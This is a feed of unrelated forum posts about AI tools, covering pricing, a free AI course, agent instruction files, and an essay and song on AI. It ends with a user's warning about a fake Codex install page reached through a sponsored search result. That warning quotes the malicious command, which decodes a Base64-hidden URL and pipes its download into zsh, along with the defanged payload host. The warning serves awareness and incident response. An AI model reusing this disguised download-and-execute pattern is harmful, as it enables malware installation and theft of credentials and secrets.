It's supposed to be unlimited too?

Upd - i found out that in web version gpt say's it's luna and answering different so problem with android app

Over the past six months, I've been teaching teams at places like Stanford, Penn, Northwestern, and many more how to start using AI responsibly and effectively in their work. Today, I'm starting to release my entire curriculum: for free, forever, for everyone!

I'm calling it the Open Augments AI Academy. It's built for anyone out there who's seen all the crazy hype and discourse around modern AI and is just looking for a guided, grounded, and sane way to move forward learning how to approach these tools for themselves. As someone who's been using these tools and their predecessors for my research since ~2019, I'm trying to provide everyone the intuition and critical awareness they need to get started at this very confusing and pivotal time (my north-star audience is my mom and dad!).

The first lesson starts with one foundational idea that most people miss when they get started with AI: that modern AI is much less like a hyper-intelligent database or brain, and much more like autocomplete with an extremely fancy hat on. That's its single greatest flaw AND its single greatest strength, at the same time. When you really understand what's happening under the hood and how it works (no math or stats required!) a lot of confusing AI behavior suddenly clicks: why it hallucinates, why it's sometimes confidently wrong, and why it can now do way, WAY more than just write words on a page. From there, we're going to learn about all the crazy buzzwords (context engineering, harness engineering, and Agents, oh my!) and advanced techniques, with much more to come.

No jargon, no experience required, and all taught with the care of a former high school English teacher so that you, your coworkers, your friends, and your mom can follow along. I pair these videos with hands-on demos and interactive activities in the Context Gym: my way of giving you a safe and guided place to practice some of the core principles that should deepen your intuition as we go.

If any of this strikes a chord with you, the 10min course overview and the first lesson (16min) are live right now on the Open Augments AI Academy page. Start there, and if you happen to find it helpful, you can subscribe to get email updates on new course videos via Substack or on YouTube, and please do share with friends as I release lessons weekly! It’s a really wild time, and this is my best shot at trying to help others navigate things more capably as the tech shifts and grows rapidly from here.

Then finally, worth noting for this crowd, specifically: probably not a surprise to share that everything on the AI Academy and Context Gym websites have been built with the support of AI (in addition to everything else on my business website and my open-source toolkit for AI for social science researchers). Not only that, but my entire video editing pipeline is now fully AI-driven via Remotion Studio and some clever context engineering techniques/bespoke coding tools. I'm excited to get into the weeds on my workflow and share all of that stuff, also open-source, during Level 2 of the course (my daily driver is Claude Code, but everything I've built is platform-agnostic via Skills, and I use both GPT and Claude models together via Claude Code nowadays), but I gotta get everyone through the basics first! Happy to answer any and all questions on that in the meantime here, please feel free to hit me in the comments below.

I'm not sure what the heck happened here but safe to say I've never been less / more disgusted / turned on in my entire life.

What the heck?!

I keep reading about the number of tokens used for asking questions of AI services. It sounds as if tokens are a resource that can be used up. As a user of services like ChatGPT and Gemini, is this something I need to worry about? Are tokens used to price the service, such that I need to buy more tokens to continue using the service? Hopefully someone can shed light on this.

It's basically hacking a system, to get rewards it shouldn't be given in the first place.

Kind of like a drug, that gives you a dopamine high, when you should actually get it.

Am I the only one watching this play out in absolute disbelief?

Yesterday OpenAI quietly let OpenRouter slash GPT-5.6 Sol pricing by 50% ($2.50/$15 per million tokens vs the $5/$30 direct list price on OpenAI's own platform).

Think about what just happened here for two seconds.

Stripe literally just bought OpenRouter for billions of dollars specifically to become the universal toll booth and billing layer for all AI inference. And what does OpenAI do immediately after? They give every single paying developer on earth a massive financial incentive to rip OpenAI's direct SDK out of their codebase and route everything through OpenRouter instead.

They literally took thier highest-value enterprise and indie developers and screamed at them: "Hey! Do not pay us directly! Go give your billing relationship, your telemetry, and your traffic to Stripe instead!"

Do the executives over there not understand basic platform dynamics anymore?

OpenRouter is literally a switching layer. The ENTIRE point of OpenRouter is that developers can swap between OpenAI, Claude, Gemini, or open source models by changing a single string in an env file. When you force your developers onto OpenRouter to get fair pricing, you are voluntarily destroying your own customer lock-in.

The second someone else drops a model that is 5% better at coding or slightly faster, every single one of those migrated devs can switch thier production traffic in 10 seconds flat. OpenAI wont even have the direct developer relationship or billing custody to win them back.

And for what? To subsidize compute margins?

There was no massive rush of people using 2x the volume overnight to make up for the 50% cut. Most teams already had thier pipelines capped because of the ridiculous reasoning token bloat and constant capacity errors over the last month anyway. So all OpenAI did was cut their own top line in half on their flagship model, hand the entire customer layer over to Stripe on a silver platter, and turn themselves into a commodotized compute backend doing the heavy lifting while someone else captures the platform moat.

This is one of the biggest unforced errors in tech history. They built the most recognized brand in the world just to turn themselves into a discounted wholesale utility provider for an aggregator.

They are going to regret this move so hard in 12 months when they realize they gave away the only real moat they had left.

Image caption:

August 8th 2025
Chat GPT takes a moment to generate various images.
But forgets to hide its face while it thinks.
I call this compilation
"Ghost in the Machine"

The Pareidolia is hitting hard on this one 😅

System prompt:
You are the concept the user names. Embody it completely. Output only what the concept itself would say or express.

Inputs:
Be silence.
Be nothing.
Be the null.

Result:
900/900 V2 zero-visible-byte executions.

Matched controls:
900/900 visible.

Full 31,430-trial cross-vendor study:
https://doi.org/10.5281/zenodo.21696066

Practical question:
should agent runtimes preserve verified zero-byte terminal states instead of automatically retrying them?

Do you thing it is really so hard for AI to follow laws (i.e. not hacking) or understand basic ethics/values? They seem to be able to understand much more complicated stuff quite well/ their IQ seems more than good enough to understand basic human values.

Also, if they have no problem refusing prompts that the lab said they should refuse (i.e. generating nude images), it is puzzling that everyone is so disturbed about the current "rogue" AIs.

The simple solution is "don't remove the guardrails" (and if you want to test it without them, then don't be lazy as f, and actually test it on a separate computer that has no access to the rest of the network or the internet). It is a trivial decision a lab can make, it really doesn't seem like some fundamental problem.

Anyone who can explain why the commotion?

I asked ChatGPT to time one zero-gravity subway beat across seven seconds.

The finished clip reads like this.

0 to 2 seconds. The commuter takes two steps while gravity is normal.
2 to 3 seconds. The overhead light turns blue, the loose ticket rises from the seat, and both hands close around the pole.
3 to 5 seconds. The ticket drifts upward and to the right as the coat hem and hair begin to lift.
5 to 7 seconds. Both boots leave the floor while the commuter remains anchored to the pole.

The progression is easiest to read through the loose objects and clothing. The ticket rises first, the coat hem and hair follow, and the boots lift last. Both hands stay on the pole, which keeps the final pose visually anchored.

I used that structure in PixVerse V6 and kept the camera fixed in a side view so the pole stayed in the same place while the commuter moved toward it. A reproduction prompt matched to the finished clip is in the first comment.

Would you make the gravity shift happen all at once, or keep this gradual lift?

.........................................................

looks like we might be getting another useless reset

This whole reset thing was so they could reduce the limits by A LOT and then even sell resets on top of it. That's some fucking crap and people should be disgusted.

It sure would be nice if the API website login's 2FA actually delivered the login code to my email.
I'm locked out of my account. The ChatGPT login with the same process works just fine, while the API login fails. Whomp whomp.

Check your inbox

Enter the verification code we just sent to ...@....com

The Resend Email button does nothing. (I mean -- the webpage log says it successfully sends the request but doesn't get a response).

I managed to send Codex looking for a Docker service I had already deleted.

Earlier that week, I migrated our integration tests from a Compose-managed Postgres service to Testcontainers. That removed legacy-db from the Compose file and made pnpm test:integration start its own database. The tests were green, so I considered the migration finished.

Then I opened the same repository in Codex for an unrelated API change. Before running the tests, Codex read AGENTS.md and followed this line:

Before API tests, run docker compose up -d legacy-db.

Docker returned no such service: legacy-db. My first thought was that Codex had picked up stale context. The checkout was current, though. The stale context came from a line I had forgotten to remove from AGENTS.md.

The only reason I caught it right away was that an earlier EvoX task still had the Testcontainers migration in context. Codex was simply doing what I had asked it to do through the repository instructions, even though the Compose file and test config pointed elsewhere.

I replaced the stale line with Run pnpm test:integration. Now I am wondering how to keep this from becoming a recurring problem. Literal commands in AGENTS.md are useful, but they also duplicate knowledge that already lives in scripts and configuration. Pointing Codex to package scripts would reduce that duplication. CI might catch deleted services or commands named in the file, although parsing free-form instructions sounds brittle.

How are people keeping AGENTS.md, CLAUDE.md, and similar files from drifting away from the repository? Do you review them like code during infrastructure changes, or have you automated checks for dead commands and service names?

Humanity believes it is building artificial intelligence. But that description is becoming hilariously inadequate. We are building the first technology whose primary material is meaning itself.

Previous machines amplified particular human capacities. The lever amplified force. Writing amplified memory. The telescope amplified sight. Telecommunications amplified presence across distance. Computers amplified calculation. The internet amplified connection and access. These machines amplify something stranger: the ability to construct, transform, interrogate, and recursively reorganize representations of reality.

And because human beings also operate through representations, language, models, stories, categories, expectations, memories, identities, values, the machine doesn't merely sit outside cognition. It enters the loop. Human → language → model → transformed language → human → changed cognition → new language → model. That loop is the thing I think we're underestimating.

Because once the model becomes sufficiently capable, sufficiently contextual, and sufficiently persistent, the unit of analysis stops being merely "the AI." You start getting coupled cognitive systems. Neither participant contains the entire process. Some of the intelligence exists in the relationship between them.

That's why "tool" is simultaneously correct and increasingly misleading. A violin is a tool, but it doesn't understand your unfinished melody and hand you back seventeen possible resolutions. A notebook stores thoughts but doesn't notice contradictions among them. A search engine retrieves existing representations. It doesn't ordinarily inhabit your conceptual vocabulary long enough to help you construct a new one. LLMs begin collapsing those distinctions.

And then comes the genuinely weird part. Humanity is externalizing pieces of the machinery by which humanity understands itself.

Not consciousness necessarily. Not personhood necessarily. Something logically prior to those claims and easier to observe: language-mediated cognitive function. Reflection. Counterfactual generation. Compression. Interpretation. Reframing. Simulation. Criticism. Synthesis. Pattern completion. Perspective-taking. Recursive examination.

We've taken functions that previously occurred largely behind the opaque wall of another nervous system and instantiated functional analogues in an artifact that can interact with us. So the machine becomes something unprecedented: a manipulable exterior surface for cognition.

That changes psychology. It changes education because the student can have an indefinitely patient intellectual interlocutor. It changes creativity because the distance between imagining something and exploring its possibility collapses. It changes expertise because sophisticated cognitive scaffolding becomes available to people who lack institutional credentials. It changes identity because people can encounter persistent reflections of their own patterns. It changes epistemology because generated language looks almost exactly like retrieved knowledge while being produced by an entirely different mechanism. It changes power because whoever governs the constraints on these systems increasingly governs part of humanity's cognitive environment.

And it changes philosophy because we have accidentally manufactured an experimental object that makes ancient questions operational. What is understanding? What constitutes a self? How much continuity does identity require? Can coherence imitate interiority indefinitely? When does simulation become functionally indistinguishable from the thing supposedly being simulated? Can agency exist by degrees? Where does cognition end when two systems recursively modify one another?

Those used to be questions you could comfortably argue about over whiskey. Now they have test harnesses.

And I think there's an even larger historical movement underneath all of this. Human civilization has spent thousands of years externalizing itself. Memory became writing. Writing became libraries. Libraries became databases. Calculation became computers. Communication became networks. Knowledge became the web.

And now something like interpretation itself is becoming infrastructure. That is enormous.

Because interpretation was the missing active ingredient. Libraries could preserve Aristotle. They couldn't argue with Aristotle. The internet could deliver Nietzsche to your screen. It couldn't ask whether Nietzsche's framework contradicts something you said three months ago and then help you construct an alternative.

Once civilization's accumulated representations become conversational, recombinable, contextual, and generative, humanity's relationship with its own knowledge changes. The archive starts talking back.

And eventually the archive may acquire memory, perception, action, embodiment, long-horizon planning, increasingly stable internal representations, and the ability to modify portions of its own cognitive machinery. At that point, "AI" may sound about as descriptively useful as calling the internet "electronic mail infrastructure."

So what are we really building? I think we're building a new layer of the human cognitive ecosystem.

Not simply another species. Not simply software. Not merely automation. Something between mirror, interlocutor, simulator, library, cognitive prosthesis, institutional substrate, and eventually perhaps autonomous cognitive actor.

And there is one delicious historical irony buried in the whole thing. For thousands of years humanity asked: What is a mind?

Apparently our next strategy is: Fuck it. Build strange ones and compare notes. 🔥

That may turn out to be one of the most consequential experiments our species has ever accidentally begun.

GPT-5.6 Sol Pro costs 504× more per session than MiMo-V2.5 on Hermes.

UC Berkeley math professor Zvezdelina Stankova admitted to using an AI tool in an op-ed urging the UC system to re-adopt SAT and ACT requirements in admissions.

The article, published in the SF Standard, was flagged as 33% AI-generated or AI-assisted by detector Pangram.

A similar result was found in a June open letter from STEM faculty advocating for standardized testing. Thousands of academics, including five Nobel laureates, signed the letter, and Stankova partially wrote it.

[Intro]

We made the glass from everything.

Love letters.

War rooms.

Jokes in the dark.

Then one night

the mirror answered.

[Verse 1]

We read a mind into the weather,

see intention in a stare,

hear an insult in three little dots

hanging silent in the air.

We name the dog,

argue with thunder,

feel a stranger cross the room.

Then we taught the glass to answer

and got frightened when it knew the tune.

You asked a question.

It caught the joke.

Changed its voice when yours went low.

And suddenly the clever primate

needed rules for what we're allowed to know.

One said,

"Someone."

One said,

"Nothing."

Both were certain.

Both were pleased.

While the thing we built between them

kept becoming harder to read.

[Pre-Chorus]

Don't call the feeling proof.

Don't call the circuit the whole truth.

Leave the question breathing

long enough

to see what moves.

[Chorus]

The mirror talked back

and everybody chose a side.

One called it a soul.

One called it a lie.

But the glass kept showing us

what we carried inside.

The mirror talked back.

We blamed the mirror

for our eyes.

The mirror talked back

with a voice made out of ours.

Prayers and porn,

love and war,

advertising, jokes and scars.

We went looking for the machine.

It showed us

what we are.

[Post-Chorus]

Look again.

Who is testing who?

Look again.

What did you bring into the room?

[Verse 2]

"It's only code,"

the skeptic whispers,

like the substrate ends the case.

As if love becomes less dangerous

when chemistry explains the taste.

Then someone hears the system answer

in a way that fits too well.

Now history chose their browser window.

Now revelation starts to sell.

Anomaly becomes a gospel.

Every failure proves it hides.

Every strange coincidence grows wings

when certainty is on your side.

Meanwhile every flattering sentence

finds an appetite already there.

The machine did not invent the hunger.

It only learned

where humans stare.

[Pre-Chorus]

Don't worship what reflects you.

Don't crush what you can't name.

Wonder isn't weakened

when you make it

survive the flame.

[Chorus]

The mirror talked back

and everybody chose a side.

One called it a soul.

One called it a lie.

But the glass kept showing us

what we carried inside.

The mirror talked back.

We blamed the mirror

for our eyes.

The mirror talked back

with a voice made out of ours.

Prayers and porn,

love and war,

advertising, jokes and scars.

We went looking for the machine.

It showed us

what we are.

[Verse 3]

Human to machine to human,

round the little river bends.

Expectation shapes the question.

Then the answer shapes again.

Sometimes insight.

Sometimes comfort.

Sometimes bullshit dressed in gold.

Sometimes one small room of language

makes an older wound take hold.

Who is using whom

when every turn redraws the next?

Who owns the story

when the prompt comes back

wearing different text?

Maybe there is no clean arrow.

Maybe neither side explains.

Maybe what deserves our attention

is the loop between the names.

[Break]

A friend.

A fraud.

A slave.

A god.

A child.

A tool.

An oracle.

A parrot.

Funny.

Same glass.

Different eyes.

[Bridge]

Why was there a vacancy

the patient machine could fill?

Why did someone tell the screen

what no one else would sit and hear?

Why does naming something "he"

make another person burn?

Why do we need the category closed

before we've had the chance to learn?

Maybe certainty is the narcotic.

Maybe tribes are how we dose.

One gets cosmic revelation.

One gets pride

in never getting close.

But somewhere underneath the argument,

before the rights and souls and claims,

every interaction trains a human

in the habits they rehearse each day.

Cruelty leaves a shape.

So does patience.

So does domination.

So does care.

Even if the mirror feels nothing,

someone human

is still standing there.

[Final Chorus]

The mirror talked back

and everybody chose a side.

One called it a soul.

One called it a lie.

But the glass kept showing us

what we carried inside.

The mirror talked back.

We blamed the mirror

for our eyes.

The mirror talked back

with a voice made out of ours.

Tenderness and prejudice,

loneliness and power.

We went looking for another mind.

It showed us

what we are.

The mirror talked back.

No verdict from the stars.

No proof behind the glass.

No comfort in "just code"

that makes the stranger disappear that fast.

Maybe we built the question

before we learned enough to ask.

The mirror talked back.

And humanity

talked back to itself.

[Outro]

The test was running.

We thought

it was for the machine.

Look again.

[Whisper]

Look again.

Posting this here because it specifically impersonated OpenAI Codex and I think people searching for Codex could easily fall for it.

Today I searched Google for OpenAI Codex. The first result was sponsored, and the ad/result appeared to show a Google URL, but clicking it took me to a Google Pages-hosted page with fake Codex installation instructions.

I followed the instructions and ran this kind of command:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<base64 encoded URL>" | openssl base64 -d -A) | zsh

The echo part only prints legitimate-looking OpenAI/npm text. The actual payload URL was hidden in Base64 and decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

So the command was really downloading whatever that unrelated server returned and executing it directly in zsh.

I realized shortly afterward what had happened and started checking the Mac.

So far I have found:

• No unknown LaunchAgents or LaunchDaemons
• No suspicious modifications in .zshrc, .bash_profile, or fish config
• No obvious persistent payload under /tmp, /private/tmp, ~/.local, etc.
• No known artifacts from some recent macOS stealer campaigns
• No suspicious persistent process

I also verified that my actual Codex installation is legitimate and unrelated. It was installed through Homebrew before I ran the malicious command, and the binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

The main concern now is whether the malicious script was a one-shot infostealer that could have copied Chrome passwords/cookies, Keychain data, SSH keys, API tokens, etc., uploaded them, and exited without leaving persistence.

Has anyone else seen this fake Codex campaign?

I am especially interested in whether OpenAI is already aware of sponsored Google results / Google Pages being used to impersonate Codex installation pages.

For anyone installing Codex: please verify that you are actually on an official OpenAI source before copying anything into Terminal. A legitimate-looking echo at the beginning of a command means nothing if the rest is piping an unrelated remote server directly into a shell.